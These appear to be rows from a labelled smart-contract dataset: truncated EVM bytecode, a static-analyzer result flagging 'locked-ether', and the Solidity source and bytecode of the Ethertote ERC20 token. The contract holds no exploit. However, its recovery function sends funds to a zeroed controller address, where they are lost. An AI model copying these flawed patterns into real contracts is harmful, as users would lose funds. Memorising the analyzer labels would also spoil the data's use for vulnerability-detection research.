03373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b028260015461184490919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610b9057600080fd5b610b9a838361185d565b905092915050565b6000600360149054906101000a900460ff16151515610bc057600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c0e57600080fd5b610c6082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cf4826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f2cfce4af01bcb9d6cf6c84ee1b7c491100b8695368264146a94d71e10a63083f836040518082815260200191505060405180910390a260019050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3157600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f3657600080fd5b600360149054906101000a900460ff16151515610f5257600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f545354000000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff1615151561101857600080fd5b6110228383611b18565b905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360149054906101000a900460ff1615151561109157600080fd5b61109b8383611d37565b905092915050565b6000600360149054906101000a900460ff161515156110c157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561110e57600080fd5b61115f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f382600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e0836040518082815260200191505060405180910390a260019050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137057600080fd5b600360149054906101000a900460ff1615151561138c57600080fd5b61139581611f33565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114c757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561151457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561159f57600080fd5b6115f0826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611683826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061175482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561185257fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561196e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a02565b611981838261184490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000808284019050838110158015611b065750828110155b1515611b0e57fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611b5557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611ba257600080fd5b611bf3826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c86826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611dc882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f8f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611fcb57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea165627a7a7230582095bd19dd21115c29f38e12ad5044b0333020affb149ca930426ab0f54f8da3710029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
8,876
0x42be9831fff77972c1d0e1ec0aa9bdb3caa04d47
pragma solidity ^0.4.24; // 22.07.18 //*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ // // Ethertote token contract // // (parts of the token contract // are based on the &#39;MiniMeToken&#39; - Jordi Baylina) // // Fully ERC20 Compliant token // // Name: Ethertote // Symbol: TOTE // Decimals: 0 // Total supply: 10000000 (10 million tokens) // //*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/ // ---------------------------------------------------------------------------- // TokenController contract is called when `_owner` sends ether to the // Ethertote Token contract // ---------------------------------------------------------------------------- contract TokenController { function proxyPayments(address _owner) public payable returns(bool); function onTransfer(address _from, address _to, uint _amount) public returns(bool); function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } // ---------------------------------------------------------------------------- // ApproveAndCallFallBack // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } // ---------------------------------------------------------------------------- // The main EthertoteToken contract, the default controller is the msg.sender // that deploys the contract // ---------------------------------------------------------------------------- contract EthertoteToken { // Variables to ensure contract is conforming to ERC220 string public name; uint8 public decimals; string public symbol; uint public _totalSupply; // Addtional variables string public version; address public contractOwner; address public thisContractAddress; address public EthertoteAdminAddress; bool public tokenGenerationLock; // ensure tokens can only be minted once // the controller takes full control of the contract address public controller; // null address which will be assigned as controller for security purposes address public relinquishOwnershipAddress = 0x0000000000000000000000000000000000000000; // Modifier to ensure generateTokens() is only ran once by the constructor modifier onlyController { require( msg.sender == controller ); _; } modifier onlyContract { require( address(this) == thisContractAddress ); _; } modifier EthertoteAdmin { require( msg.sender == EthertoteAdminAddress ); _; } // Checkpoint is the struct that attaches a block number to a // given value, and the block number attached is the one that last changed the // value struct Checkpoint { uint128 fromBlock; uint128 value; } // parentToken will be 0x0 for the token unless cloned EthertoteToken private parentToken; // parentSnapShotBlock is the block number from the Parent Token which will // be 0x0 unless cloned uint private parentSnapShotBlock; // creationBlock is the &#39;genesis&#39; block number when contract is deployed uint public creationBlock; // balances is the mapping which tracks the balance of each address mapping (address => Checkpoint[]) balances; // allowed is the mapping which tracks any extra transfer rights // as per ERC20 token standards mapping (address => mapping (address => uint256)) allowed; // Checkpoint array tracks the history of the totalSupply of the token Checkpoint[] totalSupplyHistory; // needs to be set to &#39;true&#39; to allow tokens to be transferred bool public transfersEnabled; // ---------------------------------------------------------------------------- // Constructor function initiated automatically when contract is deployed // ---------------------------------------------------------------------------- constructor() public { controller = msg.sender; EthertoteAdminAddress = msg.sender; tokenGenerationLock = false; // -------------------------------------------------------------------- // set the following values prior to deployment // -------------------------------------------------------------------- name = "Ethertote"; // Set the name symbol = "TOTE"; // Set the symbol decimals = 0; // Set the decimals _totalSupply = 10000000 * 10**uint(decimals); // 10,000,000 tokens version = "Ethertote Token contract - version 1.0"; //--------------------------------------------------------------------- // Additional variables set by the constructor contractOwner = msg.sender; thisContractAddress = address(this); transfersEnabled = true; // allows tokens to be traded creationBlock = block.number; // sets the genesis block // Now call the internal generateTokens function to create the tokens // and send them to owner generateTokens(contractOwner, _totalSupply); // Now that the tokens have been generated, finally reliquish // ownership of the token contract for security purposes controller = relinquishOwnershipAddress; } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface Methods for full compliance // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- // totalSupply // function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } // balanceOf // function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } // allowance // function allowance(address _owner, address _spender ) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // transfer // function transfer(address _to, uint256 _amount ) public returns (bool success) { require(transfersEnabled); // prevent tokens from ever being sent back to the contract address require(_to != address(this) ); // prevent tokens from ever accidentally being sent to the nul (0x0) address require(_to != 0x0); doTransfer(msg.sender, _to, _amount); return true; } // approve // function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } // transferFrom function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { // prevent tokens from ever being sent back to the contract address require(_to != address(this) ); // prevent tokens from ever accidentally being sent to the nul (0x0) address require(_to != 0x0); if (msg.sender != controller) { require(transfersEnabled); require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; } doTransfer(_from, _to, _amount); return true; } // ---------------------------------------------------------------------------- // ERC20 compliant events // ---------------------------------------------------------------------------- event Transfer( address indexed _from, address indexed _to, uint256 _amount ); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); // ---------------------------------------------------------------------------- // once constructor assigns control to 0x0 the contract cannot be changed function changeController(address _newController) onlyController private { controller = _newController; } function doTransfer(address _from, address _to, uint _amount) internal { if (_amount == 0) { emit Transfer(_from, _to, _amount); return; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 0x0 or the token contract itself // require((_to != 0) && (_to != address(this))); require(_to != address(this)); // If the amount being transfered is more than the balance of the // account, the transfer throws uint previousBalanceFrom = balanceOfAt(_from, block.number); require(previousBalanceFrom >= _amount); // Alerts the token controller of the transfer if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens uint previousBalanceTo = balanceOfAt(_to, block.number); // Check for overflow require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain emit Transfer(_from, _to, _amount); } // ---------------------------------------------------------------------------- // approveAndCall allows users to use their tokens to interact with contracts // in a single function call // msg.sender approves `_spender` to send an `_amount` of tokens on // its behalf, and then a function is triggered in the contract that is // being approved, `_spender`. This allows users to use their tokens to // interact with contracts in one function call instead of two // _spender is the address of the contract able to transfer the tokens // _amount is the amount of tokens to be approved for transfer // return &#39;true&#39; if the function call was successful // ---------------------------------------------------------------------------- function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } // ---------------------------------------------------------------------------- // Query the balance of an address at a specific block number // ---------------------------------------------------------------------------- function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(balances[_owner], _blockNumber); } } // ---------------------------------------------------------------------------- // Queries the total supply of tokens at a specific block number // will return 0 if called before the creationBlock value // ---------------------------------------------------------------------------- function totalSupplyAt(uint _blockNumber) public constant returns(uint) { if ( (totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber) ) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(totalSupplyHistory, _blockNumber); } } // ---------------------------------------------------------------------------- // The generateTokens function will generate the initial supply of tokens // Can only be called once during the constructor as it has the onlyContract // modifier attached to the function // ---------------------------------------------------------------------------- function generateTokens(address _owner, uint _theTotalSupply) private onlyContract returns (bool) { require(tokenGenerationLock == false); uint curTotalSupply = totalSupply(); require(curTotalSupply + _theTotalSupply >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _totalSupply >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _totalSupply); updateValueAtNow(balances[_owner], previousBalanceTo + _totalSupply); emit Transfer(0, _owner, _totalSupply); tokenGenerationLock = true; return true; } // ---------------------------------------------------------------------------- // Enable tokens transfers to allow tokens to be traded // ---------------------------------------------------------------------------- function enableTransfers(bool _transfersEnabled) private onlyController { transfersEnabled = _transfersEnabled; } // ---------------------------------------------------------------------------- // Internal helper functions // ---------------------------------------------------------------------------- function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } // ---------------------------------------------------------------------------- // function used to update the `balances` map and the `totalSupplyHistory` // ---------------------------------------------------------------------------- function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } // ---------------------------------------------------------------------------- // function to check if address is a contract // ---------------------------------------------------------------------------- function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } // ---------------------------------------------------------------------------- // Helper function to return a min betwen the two uints // ---------------------------------------------------------------------------- function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } // ---------------------------------------------------------------------------- // fallback function: If the contract&#39;s controller has not been set to 0, // then the `proxyPayment` method is called which relays the eth and creates // tokens as described in the token controller contract // ---------------------------------------------------------------------------- function () public payable { require(isContract(controller)); require( TokenController(controller).proxyPayments.value(msg.value)(msg.sender) ); } event ClaimedTokens( address indexed _token, address indexed _controller, uint _amount ); // ---------------------------------------------------------------------------- // This method can be used by the controller to extract other tokens accidentally // sent to this contract. // _token is the address of the token contract to recover // can be set to 0 to extract eth // ---------------------------------------------------------------------------- function withdrawOtherTokens(address _token) EthertoteAdmin public { if (_token == 0x0) { controller.transfer(address(this).balance); return; } EthertoteToken token = EthertoteToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); emit ClaimedTokens(_token, controller, balance); } }
0x6080604052600436106101195763ffffffff60e060020a60003504166306fdde0381146101d9578063095ea7b314610263578063176345141461029b57806318160ddd146102c25780631834906c146102d757806323b872dd14610308578063313ce567146103325780633eaaf86b1461035d5780634ee2cd7e1461037257806354fd4d501461039657806370a08231146103ab578063752f3c8c146103cc578063862235f5146103e157806395d89b41146103f6578063981b24d01461040b578063a1190a3614610423578063a9059cbb14610444578063bef97c8714610468578063cae9ca511461047d578063ce606ee0146104e6578063d8650f49146104fb578063dd62ed3e14610510578063f77c479114610537575b60085461012e90600160a060020a031661054c565b151561013957600080fd5b600854604080517f6f2fc06b0000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a0390921691636f2fc06b913491602480830192602092919082900301818588803b15801561019f57600080fd5b505af11580156101b3573d6000803e3d6000fd5b50505050506040513d60208110156101ca57600080fd5b505115156101d757600080fd5b005b3480156101e557600080fd5b506101ee610579565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610228578181015183820152602001610210565b50505050905090810190601f1680156102555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026f57600080fd5b50610287600160a060020a0360043516602435610607565b604080519115158252519081900360200190f35b3480156102a757600080fd5b506102b0610782565b60408051918252519081900360200190f35b3480156102ce57600080fd5b506102b0610788565b3480156102e357600080fd5b506102ec610799565b60408051600160a060020a039092168252519081900360200190f35b34801561031457600080fd5b50610287600160a060020a03600435811690602435166044356107a8565b34801561033e57600080fd5b50610347610868565b6040805160ff9092168252519081900360200190f35b34801561036957600080fd5b506102b0610871565b34801561037e57600080fd5b506102b0600160a060020a0360043516602435610877565b3480156103a257600080fd5b506101ee6109c4565b3480156103b757600080fd5b506102b0600160a060020a0360043516610a1f565b3480156103d857600080fd5b506102ec610a33565b3480156103ed57600080fd5b506102ec610a42565b34801561040257600080fd5b506101ee610a51565b34801561041757600080fd5b506102b0600435610aa9565b34801561042f57600080fd5b506101d7600160a060020a0360043516610b9d565b34801561045057600080fd5b50610287600160a060020a0360043516602435610d83565b34801561047457600080fd5b50610287610dd6565b34801561048957600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610287948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610ddf9650505050505050565b3480156104f257600080fd5b506102ec610efa565b34801561050757600080fd5b50610287610f09565b34801561051c57600080fd5b506102b0600160a060020a0360043581169060243516610f2a565b34801561054357600080fd5b506102ec610f55565b600080600160a060020a03831615156105685760009150610573565b823b90506000811191505b50919050565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105ff5780601f106105d4576101008083540402835291602001916105ff565b820191906000526020600020905b8154815290600101906020018083116105e257829003601f168201915b505050505081565b60105460009060ff16151561061b57600080fd5b8115806106495750336000908152600e60209081526040808320600160a060020a0387168452909152902054155b151561065457600080fd5b60085461066990600160a060020a031661054c565b1561071a57600854604080517fda682aeb000000000000000000000000000000000000000000000000000000008152336004820152600160a060020a038681166024830152604482018690529151919092169163da682aeb9160648083019260209291908290030181600087803b1580156106e357600080fd5b505af11580156106f7573d6000803e3d6000fd5b505050506040513d602081101561070d57600080fd5b5051151561071a57600080fd5b336000818152600e60209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600c5481565b600061079343610aa9565b90505b90565b600654600160a060020a031681565b6000600160a060020a0383163014156107c057600080fd5b600160a060020a03831615156107d557600080fd5b600854600160a060020a031633146108535760105460ff1615156107f857600080fd5b600160a060020a0384166000908152600e6020908152604080832033845290915290205482111561082857600080fd5b600160a060020a0384166000908152600e602090815260408083203384529091529020805483900390555b61085e848484610f64565b5060019392505050565b60015460ff1681565b60035481565b600160a060020a0382166000908152600d602052604081205415806108d35750600160a060020a0383166000908152600d60205260408120805484929081106108bc57fe5b6000918252602090912001546001608060020a0316115b1561099b57600a54600160a060020a03161561099357600a54600b54600160a060020a0390911690634ee2cd7e90859061090e908690611179565b6040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561096057600080fd5b505af1158015610974573d6000803e3d6000fd5b505050506040513d602081101561098a57600080fd5b5051905061077c565b50600061077c565b600160a060020a0383166000908152600d602052604090206109bd9083611191565b905061077c565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105ff5780601f106105d4576101008083540402835291602001916105ff565b6000610a2b8243610877565b90505b919050565b600954600160a060020a031681565b600754600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105ff5780601f106105d4576101008083540402835291602001916105ff565b600f546000901580610ade575081600f6000815481101515610ac757fe5b6000918252602090912001546001608060020a0316115b15610b8b57600a54600160a060020a031615610b8357600a54600b54600160a060020a039091169063981b24d090610b17908590611179565b6040518263ffffffff1660e060020a02815260040180828152602001915050602060405180830381600087803b158015610b5057600080fd5b505af1158015610b64573d6000803e3d6000fd5b505050506040513d6020811015610b7a57600080fd5b50519050610a2e565b506000610a2e565b610b96600f83611191565b9050610a2e565b6007546000908190600160a060020a03163314610bb957600080fd5b600160a060020a0383161515610c0957600854604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610c03573d6000803e3d6000fd5b50610d7e565b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051849350600160a060020a038416916370a082319160248083019260209291908290030181600087803b158015610c6d57600080fd5b505af1158015610c81573d6000803e3d6000fd5b505050506040513d6020811015610c9757600080fd5b5051600854604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b158015610d0b57600080fd5b505af1158015610d1f573d6000803e3d6000fd5b505050506040513d6020811015610d3557600080fd5b5050600854604080518381529051600160a060020a03928316928616917ff931edb47c50b4b4104c187b5814a9aef5f709e17e2ecf9617e860cacade929c919081900360200190a35b505050565b60105460009060ff161515610d9757600080fd5b600160a060020a038316301415610dad57600080fd5b600160a060020a0383161515610dc257600080fd5b610dcd338484610f64565b50600192915050565b60105460ff1681565b6000610deb8484610607565b1515610df657600080fd5b6040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018690523060448401819052608060648501908152865160848601528651600160a060020a038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610e89578181015183820152602001610e71565b50505050905090810190601f168015610eb65780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610ed857600080fd5b505af1158015610eec573d6000803e3d6000fd5b506001979650505050505050565b600554600160a060020a031681565b60075474010000000000000000000000000000000000000000900460ff1681565b600160a060020a039182166000908152600e6020908152604080832093909416825291909152205490565b600854600160a060020a031681565b600080821515610fbe5783600160a060020a031685600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3611172565b600b544311610fcc57600080fd5b600160a060020a038416301415610fe257600080fd5b610fec8543610877565b915082821015610ffb57600080fd5b60085461101090600160a060020a031661054c565b156110c357600854604080517f4a393149000000000000000000000000000000000000000000000000000000008152600160a060020a03888116600483015287811660248301526044820187905291519190921691634a3931499160648083019260209291908290030181600087803b15801561108c57600080fd5b505af11580156110a0573d6000803e3d6000fd5b505050506040513d60208110156110b657600080fd5b505115156110c357600080fd5b600160a060020a0385166000908152600d602052604090206110e7908484036112f0565b6110f18443610877565b905082810181111561110257600080fd5b600160a060020a0384166000908152600d60205260409020611126908285016112f0565b83600160a060020a031685600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b5050505050565b6000818310611188578161118a565b825b9392505050565b6000806000808580549050600014156111ad57600093506112e7565b8554869060001981019081106111bf57fe5b6000918252602090912001546001608060020a0316851061121c578554869060001981019081106111ec57fe5b60009182526020909120015470010000000000000000000000000000000090046001608060020a031693506112e7565b85600081548110151561122b57fe5b6000918252602090912001546001608060020a031685101561125057600093506112e7565b8554600093506000190191505b828211156112ad57600260018385010104905084868281548110151561127f57fe5b6000918252602090912001546001608060020a0316116112a1578092506112a8565b6001810391505b61125d565b85838154811015156112bb57fe5b60009182526020909120015470010000000000000000000000000000000090046001608060020a031693505b50505092915050565b815460009081901580611329575083544390859060001981019081106113125